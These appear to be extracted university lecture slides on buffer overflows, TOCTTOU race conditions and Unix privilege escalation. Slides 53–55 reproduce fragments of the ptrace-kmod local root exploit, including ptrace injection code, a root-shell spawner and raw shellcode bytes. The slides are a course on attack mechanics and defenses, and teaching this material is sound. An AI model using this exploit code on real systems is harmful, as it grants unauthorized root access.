Title: Buffer Overflows, Race Conditions, and Privilege Escalations
1Buffer Overflows, Race Conditions, and Privilege
Escalations
- Jin Choi ltjin_at_cse.ogi.edugt
2Administrative
- Assignment 1 due this Wednesday (Jan. 13th)
- Email me your assignment at jin_at_cse.ogi.edu under
the subject cs510malwareAssignment 1
3Overview
- Buffer Overflows
- Race Conditions
- Privilege Escalations
4Buffer Overflows
- Most common form of security vulnerability in the
last 1.5 decades - Dominate remote network penetration attacks (but
also used in local exploits) - A Bugtraq mailing list survey on What do you
think is the leading cause of security
vulnerability? - 2/3 answered Buffer Overflow
- 1/3 answered misconfiguration
5Remote Buffer Overflow Example
- Attacker sends a string as input, size of which
is larger than the input buffer allocated by the
remote server
Input buffer allocated by server for input
Attackers input
6Remote Buffer Overflow Example
- If the server doesnt do a boundary check, this
string overflows the buffer and corrupts the
address space of the server (e.g. overwrites the
return address on the stack)
Corrupts servers adjacent address space
7Process Address Space
8Stack Frame (Activation Record)
- Built at the beginning of a function
size of a word (e.g. 4 bytes)
Higher memory address
Function parameters
SFP 8
Return address
Stack grows high to low
addresses
Old base pointer (Saved Frame Pointer)
SFP
Lower memory address
Local variables
9Function Call
- Stack Frame
- pushl decrements esp by 4 and stores the operand
at the address pointed to by the new esp
void function(int a, int b, int c) char
buffer8 void main() function(1,2,3)
high addr
1
esp (stack pointer)
Assembly pushl 1 pushl 2 pushl 3 call
function
low addr
10Function Call
- void function(int a, int b, int c)
- char buffer8
-
- void main()
- function(1,2,3)
high addr
1
2
esp
Assembly pushl 1 pushl 2 pushl 3 call
function
low addr
11Function Call
- void function(int a, int b, int c)
- char buffer8
-
- void main()
- function(1,2,3)
high addr
1
2
3
esp
Assembly pushl 1 pushl 2 pushl 3 call
function
low addr
12Function Call
- Stack Frame
- call saves instruction pointer (IP). Well call
the saved IP the return address (RET)
void function(int a, int b, int c) char
buffer8 void main() function(1,2,3)
high addr
1
2
3
Assembly pushl 1 pushl 2 pushl 3 call
function
return address
esp
low addr
13Function Prologue(code that builds the stack
frame at the beginning of a function)
- void function(int a, int b, int c)
- char buffer8
-
- void main()
- function(1,2,3)
- Stack Frame
- callee saves the old base pointer
high addr
1
2
3
return address
saved frame pointer
esp
Assembly pushl ebp movl esp, ebp subl
8, esp
low addr
14Function Prologue(code that builds the stack
frame at the beginning of a function)
- void function(int a, int b, int c)
- char buffer8
-
- void main()
- function(1,2,3)
- Stack Frame
- Callee sets new value for Frame Pointer
high addr
1
2
3
return address
saved frame pointer
ebp esp
Assembly pushl ebp movl esp, ebp subl
8, esp
low addr
15Function Prologue(code that builds the stack
frame at the beginning of a function)
- void function(int a, int b, int c)
- char buffer8
-
- void main()
- function(1,2,3)
- Stack Frame
- Allocate space for local variable
high addr
1
2
3
return address
saved frame pointer
Assembly pushl ebp movl esp, ebp subl
8, esp
esp
low addr
16Function Prologue(code that builds the stack
frame at the beginning of a function)
- void function(int a, int b, int c)
- char buffer8
-
- void main()
- function(1,2,3)
- Stack Frame
- Allocate space for local variable
high addr
1
2
ebp - 12
3
ebp - 8
return address
saved frame pointer
ebp
Assembly pushl ebp movl esp, ebp subl
8, esp
ebp 4
esp
low addr
17Typical Buffer Overflow (E.g. Stack Smashing)
- C idiom of allocating a small buffer to get user
or parameter input is so common - void get_input(char input)
- char buf100
- strcpy(buf, input)
-
-
- However, lack of bounds check is ALSO common ?
- Unfamiliarity with language
- Ignorance about security issues
- Performance issue
- Excuse, excuse
- Buf before and after the strcpy() when
sizeof(buf)gt100 - Adjacent memory space in the address space
overwritten with the content of buffer!!
Before
After
high
Address of input
Address of input
Return address
Return address
Saved frame pointer
Saved frame pointer
Buf
low
18What does the input consist?
- One possibility is to put the address of the
attack code in every 4 bytes (hoping that one of
the 4 bytes will overwrite the return address) - This assumes that the attack code already exists
somewhere in the address space of the victim
Contains address of the attack code
? ? ?
? ? ?
19How can we place arbitrary instruction (attack
code) into its address space?
- One way is to place the code in the buffer we are
overflowing, and overwrite the return address so
it points back into the buffer.
place address that points to the start of the
buffer
place attack code (word-aligned)
? ? ?
? ? ?
? ? ?
start address of buffer
20Buffer Overflow
- Mostly relevant to C/C
- Not in languages that support automatic memory
management - Java (dynamic bounds checks)
- Perl (automatic buffer resizing)
21Buffer Overflows
- Attackers goal
- Subvert the function of a privileged program to
take control of that program - The higher the privilege the better. In UNIX,
root is the highest - To achieve the goal, must achieve two sub-goals
- Arrange the attack code to be available in the
victim programs address space - Have the victim program to jump to the attack code
22Buffer Overflows
- Attack code typically contains exec(/bin/sh)
- Gives the attacker a shell prompt with the
privilege of the victim program - If the victim has a root privilege, then the
attacker owns the host
23Classification of Buffer Overflow attacks
- Classify attacks according to how the two
sub-goals are achieved - Arrange the attack code to be available in the
victim programs address space - Inject it
- Its already present
- Have the victim program to jump to the attack
code - Corrupt code pointers program state that points
at code thereby changing the execution path or
control flow
24Ways to arrange the attack codeInject it
- Attacker provides a string as input to the victim
program, and the victim program stores it in a
buffer - Buffer can be located anywhere in victims
address space - On the stack
- On the heap (mallocd variables)
- In the static data area (.data, .bss)
- But not in .text (Read-only)
25Ways to arrange the attack codeIts already
present
- Use existing code in the victims address space
- E.g. libc (linked to virtually every C program)
that has the code that executes exec(arg) - Attacker then uses a buffer overflow to corrupt
arg and another buffer overflow to corrupt a code
pointer to point into libc at the appropriate
code fragment
26Have the victim program to jump to the attack code
- Corrupt the state of an adjacent part of the
programs state, e.g. adjacent pointers - Find a program with lack of bounds checking on
input - Feed input larger than the size of allocated
buffer - Overflow of buffer alters adjacent code pointer
- Distinguishing criteria
- Kind of state corrupted
- In principle, state can be any kind of state
- In practice, state is mostly code pointers
program state that points at code - Location of the state in memory
27Kinds of State to Corrupt
- Activation Records (Stack Frame)
- Overwrites the return address that the program
should jump to when the function exits (a.k.a.
Stack smashing attack) - Function Pointers
- void ( foo)() pointer to function returning
void - Can be allocated anywhere (stack, heap, .data)
- Attacker only needs to find an overflowable
buffer adjacent to the function pointer - Later when the victim makes a call, it will
instead jump to the attackers desired location - E.g. superprobe program in Linux
- setjmp(jmp_buf) and longjmp(jmp_buf)
- Used in C/C
- Inter-procedural goto
- Typically used in error handling (checkpoint
rollback point) - Like function pointers, longjmp buffer can be
located anywhere, so attacker only needs to find
an adjacent buffer (overflowable) - E.g. Perl 5.003
28Defenses
- Write Correct Code
- expensive proposition
- Direct Compiler Approach
- E.g. Compaq C Compiler supports
- -check_bound option
- Indirect Compiler Approach
- Integrity checking
- Activation Record Integrity (StackGuard)
- Code Pointer Integrity (PointGuard)
29 30Race Conditions
- In multi-process or multi-threaded environment,
tasks/threads can interact each other through - Shared memory
- File system
- Signals
- Results of tasks depend on relative timing of
events
31Race Conditions
- Synonym for non-deterministic behavior
- Often issue of robustness hence many important
security implications - Certain assumption needs to hold for some
duration for intended behavior, but the
assumption can be invalidated - May leave further actions that rely on the
assumption unpredictable (at least not what was
intended) - Window of vulnerability
- The time interval in which assumption can be
invalidated
32Window of Vulnerability
- Actions can be application-level or OS-level
(e.g. syscalls) - Attacker acts during the time interval trying to
violate the assumptions before the second action
occurs - Interval can be very short but the attacker can
extend it by slowing down the victim machine (by
performing computation-intensive actions e.g. DoS
attack)
Time Interval
Action 1
Action 2
Time
33Make sequence of actions (operations) atomic?
- Can use synchronization primitives to enforce
atomicity of a sequence of operations atomic to
ensure security properties. - Critical section has to be as small as possible
- However a tradeoff is
Performance
Number of programs
34Race Conditions
- Well look at common race condition problems
relevant to security - TOCTTOU (Time Of Check To Time Of Use) flaws
- File System TOCTTOU Name-Object binding flaws
- Non-FS TOCTTOU ptrace(), execve()
35What is TOCTTOU Flaw?
- Semantic Characteristic
- Occurs when two events occur and the second
depends upon the first
Time
Syscall 1 (Time Of Check)
Syscall 2 (Time Of Use)
Time Interval where attacker can race in and
invalidate the assumption that syscall 2 depends
upon
36File System TOCTTOU Name-Object Binding Flaws
- Arise when object identifiers are fallaciously
assumed to remain bound to an object - UNIX system provides two different forms of
naming, with different semantics - File path name
- File descriptor
- The difference comes from the way the addresses
resolve to the actual objects - File path names are resolved by indirection,
requiring the naming and addressing at least one
intermediate object other than the actual file
object being addressed (indirect pointer to
object) - E.g. symlink, inode
- File descriptors are resolved by accessing the
file being addressed (direct pointer to object) - Indirect -gt Opens up window of vulnerability
37File System TOCTTOU Name-Object Binding Flaws
- Symbolic Link Races (Temporary File Race)
- Suppose Process A runs with root privilege wants
to create /tmp/foo - Process A calls lstat(/tmp/foo,) to check if
/tmp/foo already exists - If lstat() returned -1 with ENOENT (i.e. /tmp/foo
does not exist) open the file and write to it. - Window of vulnerability exists between 1 and 2.
- A process with a normal privilege could race in
and create a - symlink /tmp/foo that points to /etc/passwd,
resulting - Process A overwrite the content of /etc/passwd,
corrupting the file.
38File System TOCTTOU Name-Object Binding Flaws
- Calls that require file path name as argument are
troublesome - E.g. access(), open(), creat(), mkdir(),
unlink(), rmdir(), chown(), symlink(), link(),
rename(), chroot(), - troublesome because TOCTTOU binding flaw arises
when at least one of two sequential system calls
refer to the same object using a file path name.
39File System TOCTTOU Name-Object Binding Flaws
- Example
- SETUID program
- if (access (filename, W_OK) 0)
- if ((fd open(filename, O_WRONLY)) NULL)
- perror(filename)
- return(0)
-
- / now write to the file /
- If the attacker changes the object referred to by
filename between 1 and 2, the second object will
be opened even if its access was never checked
(access to the first object was checked) -
40Non-FS TOCTTOU
- Race condition in Linux/BSD kernel
ptrace()/execve() - ptrace() system call
- Typically used in debugging applications. E.g.
GDB, strace - Used to access other process registers and
memory (address space) E.g. the tracing process
can change the instruction pointer of the traced
process to point to the attackers code. - Can only attach to processes with the same UID
(user ID), except when the tracing process is the
root process - execve() system call
- Used to execute program
- setuid functionality (modifies the process EUID
to file owners UID)
41UNIX User ID Model Revisited
- USER ID MODEL
- Each user has a unique UID
- UID determines which resources a user can access
- UID of 0 ROOT process can access all system
resources - Each process has 3 UIDs
- (1) real UID identifies process OWNER
- (2) effective UID used in access control
decisions - (3) saved user ID stores a previous UID so that
it can be restored later - Similarly, each process has 3 groupIDs
- real/effective/saved GID
42UNIX User ID Model Revisited
- When a process executes a program via execve(),
that executing process keeps ITS OWN UIDs unless
the SETUID bit in the new file is set. - if the SETUID bit is set in the program file,
then calling setuid() modifies process' EUID to
the file owner's UID
43(No Transcript)
44Non-FS Race Conditions
- Security hole (race condition) in execve()
- First checks whether process is being traced
- Open program image (may block)
- Allocate memory (may block)
- If SETUID bit is set on the program file, then
set process EUID according to the file owners
UID - Window of vulnerability exists between step 1 and
step 4 - Blocking kernel operations allow other user
processes to run - Attacker can race in and attach via ptrace()
- Example ptrace-kmod attack
45 46Privilege Escalation
- Allows a user with normal privileges (local) or
no privileges to gain (and possibly retain) root
privileges illegally. - Uses vulnerabilities such as
- Buffer Overflow Vulnerabilities
- Race Condition Vulnerabilities
- Others..
47Privilege Escalation
- Using Buffer Overflow
- E.g. inject code into address space of a
privileged program (root-owned setuid program) - Using Race Condition
- E.g. Race condition exists in execve()
- Using Other Vulnerabilities
- E.g. Exploit flaws in kernel code
- E.g. Flaw in mremap()in Linux 2.4.20
48Privilege Escalation Using Buffer Overflow
- Inject code into address space of a privileged
program (root-owned setuid program) - What code do we inject?
- exec(/bin/sh) to gain a root shell.
49Privilege Escalation Using Race Condition
- Using Race Condition
- E.g. Race condition in execve()
- Use ptrace() to attach to the victim process
50Privilege Escalation Using Race
ConditionExample ptrace-kmod Attack
- When a process requests a feature which is in a
module (e.g. socket(AF_SECURITY, )), the kernel
creates a thread (on behalf of the calling
process i.e. as if the process that invoked
socket(AF_SECURITY, ) called fork() and
execve(/sbin/modprobe) ) that calls
execve("/sbin/modprobe") inside which sets
EUID/EGID to 0 (since modprobe is root-owned).
Due to the race condition in execve(), the
calling process can attach to the modprobe before
the execve() sets the EUID/EGID to 0 but after
execve() checks whether process is being traced.
51Privilege Escalation Using Race
ConditionExample ptrace-kmod Attack
- Recall race condition in execve()
- First checks whether process is being traced
- Open program image (may block)
- Allocate memory (may block)
- If SETUID bit is set on the program file, then
set process EUID according to the file owners
UID - Window of vulnerability exists between step 1 and
step 4 - Blocking kernel operations allow other user
(attacking) processes to run - Attacker can race in and attach via ptrace()
52Privilege Escalation Using Race
ConditionExample ptrace-kmod Attack
- Relevant Linux kernel source code
- In kernel/kmod.c
- request_module(module_name)
-
- kernel_thread(exec_modprobe, module_name,)
-
-
- In arch/i386/kernel/process.c
- kernel_thread(int (fn)(void), module_name, )
-
- do_fork() / create new process to exec
/sbin/modprobe / -
-
53- /
- if EUID is 0, change my real
- uid/gid to root and spawn a
- shell
- /
- void prepare(void)
- if (geteuid() 0)
- setgid(0)
- setuid(0) execl(_PATH_BSHELL,
_PATH_BSHELL, NULL) -
-
- main(int argc, char argv)
- prepare()
- switch(pid fork())
- case 0
- void do_child()
- child getpid()
- victim child 1
- signal(SIGCHLD, sigchld)
- do
- err ptrace(PTRACE_ATTACH, victim, 0,
0) - while (err -1 errno ESRCH)
-
- / successfully attached to modprobe /
- fprintf(stderr, " Waiting for signal\n")
- for()
-
- do_parent(char myself)
- / causes the kernel to execute /sbin/modprobe
/ - socket(AF_SECURITY, SOCK_STREAM, 1)
-
54- void sigchld(int signo)
- fprintf(stderr, " Signal caught\n")
- ptrace(PTRACE_GETREGS, victim, NULL, regs)
- putcode((unsigned long )regs.eip)
-
- ptrace(PTRACE_DETACH, victim, 0, 0)
- exit(0)
-
55Privilege Escalation Using Race
ConditionExample ptrace-kmod Attack
- char cliphcode "\x90\x90\xeb\x1f\xb8\xb6\x00\x
00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff" - In human readable form
- chown(AbsPathOfAttackProg, 0, 0)
- chmod(AbsPathOfAttackProg, 06755)
- Basically saying,
- Transform the attacking program file into a
root-owned setuid program.
56Privilege Escalation Using Race
ConditionExample ptrace-kmod Attack
- Why a root-owned setuid program?
- When a root-owned setuid program is executed,
effective user ID becomes 0. - What does EUID of 0 buy the attacker?
- When EUID is 0, calling setuid(0) allows changing
the RUID (real user ID) of the process to 0. - Why does the attacker need the RUID to be 0?
- Shell program takes the current process RUID
instead of EUID. EUID of 0 isnt enough for a
process to spawn a root shell.
57Summary
- Buffer Overflows
- Race Conditions
- Privilege Escalation
- Question?
58References
- Crispin Cowan, Perry Wagle, Calton Pu, Steve
Beattie, Jonathan Walpole Buffer Overflows
Attack and Defenses for the Vulnerability of the
Decade - Matt Bishop, Michael Dilger Checking for Race
Conditions in File Accesses - Tal Garfinkel Traps and Pitfalls Practical
Problems in System Call Interposition Based
Security Tools, 2003. - iSEC Security Research. Linux Kernel ptrace/kmod
Local Root Exploit. http//downloads.securityfocus
.com/vulnerabilities/exploits/ptrace-kmod.c,
2003. - Christoper Kruegel, Engin Kirda Internet
Security 2 http//www.infosys.tuwien.ac.at/teachi
ng/courses/InetSec2 - Smashing The Stack For Fun And Profit,
http//www.cs.ucsb.edu/jzhou/security/overflow.ht
ml